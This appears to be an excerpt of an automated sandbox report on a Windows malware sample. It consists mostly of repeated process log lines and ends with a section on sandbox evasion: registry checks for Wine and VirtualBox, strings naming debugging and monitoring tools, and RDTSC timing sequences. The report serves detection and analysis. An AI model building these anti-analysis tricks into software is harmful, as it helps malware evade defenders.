Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: ddd4dd05d2.exe, 00000026.00000003.2743254762.000000000733C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: ddd4dd05d2.exe, 00000026.00000003.2743254762.000000000733C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: ddd4dd05d2.exe, 00000026.00000003.2743254762.000000000733C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: ddd4dd05d2.exe, 00000026.00000003.2743254762.000000000733C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: ddd4dd05d2.exe, 00000026.00000003.2743254762.000000000733C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9325DA second address: 9325DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93271C second address: 932746 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBF907CE5Ch 0x00000007 jmp 00007FEBF907CE67h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9328D6 second address: 932909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnl 00007FEBF90902ECh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FEBF90902F9h 0x00000013 jl 00007FEBF90902E6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 932909 second address: 932912 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
